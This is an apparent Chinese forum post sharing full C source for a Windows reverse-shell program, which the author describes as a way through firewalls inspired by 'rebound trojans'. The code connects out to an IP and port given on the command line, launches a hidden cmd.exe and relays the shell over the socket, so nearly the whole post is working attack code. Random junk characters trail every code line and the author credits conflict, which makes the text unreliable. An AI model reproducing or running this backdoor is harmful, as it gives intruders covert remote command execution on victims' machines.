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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 MrDc$p W G  
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/* ============================== +tVaBhd!  
Rebound port in Windows NT So0f)`A  
By wind,2006/7 ,QcF|~n  
===============================*/ jg.QRny^  
#include j#+!\ft5  
#include KTP8?Q"n0  
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#pragma comment(lib,"wsock32.lib") %d?cP}V  
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void OutputShell(); qWODs  
SOCKET sClient; :.$3vaZ@  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; cUY`97bn  
8=gjY\Dp  
void main(int argc,char **argv) a>GyO&+Dkg  
{ J[4mL U  
WSADATA stWsaData; > U%gctIg  
int nRet; . koYHq  
SOCKADDR_IN stSaiClient,stSaiServer; xO&eRy?%  
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if(argc != 3) H[S%J3JI  
{ 4<k9?)~(J  
printf("Useage:\n\rRebound DestIP DestPort\n"); 0a}u;gt,4w  
return; X4 A<[&F/  
} 4iKgg[)7`=  
8C67{^`::  
WSAStartup(MAKEWORD(2,2),&stWsaData); nv@8tdrc  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); U c@Ao:  
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stSaiClient.sin_family = AF_INET; JV]^zW  
stSaiClient.sin_port = htons(0); .=X}cJ]`[  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Z yE `/J'  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) a{ ?`t|  
{ wid;8%m  
printf("Bind Socket Failed!\n"); %F-ZN^R  
return; !V i@1E  
} SjwyLc  
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stSaiServer.sin_family = AF_INET; A?-oL='  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); yIDD@j=l  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); J6L  K  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) p2DrEId  
{ .ys6"V|31  
printf("Connect Error!"); ~TS y<t~%-  
return; gx\&_) w N  
} Il= W,/y  
OutputShell(); 7z!tKs"TMT  
} wnM9('\  
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void OutputShell() Qj.l:9%  
{ 4KH45|; 3  
char szBuff[1024]; ~%SH3$  
SECURITY_ATTRIBUTES stSecurityAttributes; C4~;yhz  
OSVERSIONINFO stOsversionInfo; &?*V0luP)  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; eC[$B99\  
STARTUPINFO stStartupInfo; kH]yl 2  
char *szShell; fO0XA"=  
PROCESS_INFORMATION stProcessInformation; +eFFSt  
unsigned long lBytesRead; y5do1Z  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); x)rM/Kq  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); <xgTS[k  
stSecurityAttributes.lpSecurityDescriptor = 0; PzA|t;*  
stSecurityAttributes.bInheritHandle = TRUE; ~~SwCXZ+b^  
>i5acuth  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); m6',SY9T  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ^!9~Nwn  
Cb9;QzBVA#  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); p' +  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ds?v'|  
stStartupInfo.wShowWindow = SW_HIDE; lJE93rXU  
stStartupInfo.hStdInput = hReadPipe; 59O?_F9  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 0IfKJ*]M  
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GetVersionEx(&stOsversionInfo); AO=h 23ZI  
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switch(stOsversionInfo.dwPlatformId) ub;ZtsM,%  
{ 8"fD`jtQ  
case 1: /XhIx\40 l  
szShell = "command.com"; =u+d_'P7-R  
break; 2UFv9  
default: /4 vG3  
szShell = "cmd.exe"; (Nx;0"5IX  
break; h\PHK C2  
} J,AR5@)1  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 0 0 M@  
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send(sClient,szMsg,77,0); n(L\||#+  
while(1) 4Qo]n re!  
{ R +WP0&d'  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ,B0_MDA +  
if(lBytesRead) ^Nmg07_R  
{ A` AaTP  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); =9"W@n[>W  
send(sClient,szBuff,lBytesRead,0); 69J4=5lX  
} j& <i&  
else 6Qx#%,U^ J  
{ 8'f4 Od ?  
lBytesRead=recv(sClient,szBuff,1024,0); IiZ&Pr  
if(lBytesRead<=0) break; -mRA#  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ,;(PwJe  
} ui@2s;1t  
} N9vP7  
.]sf0S!  
return; rwG CUo6Z  
}
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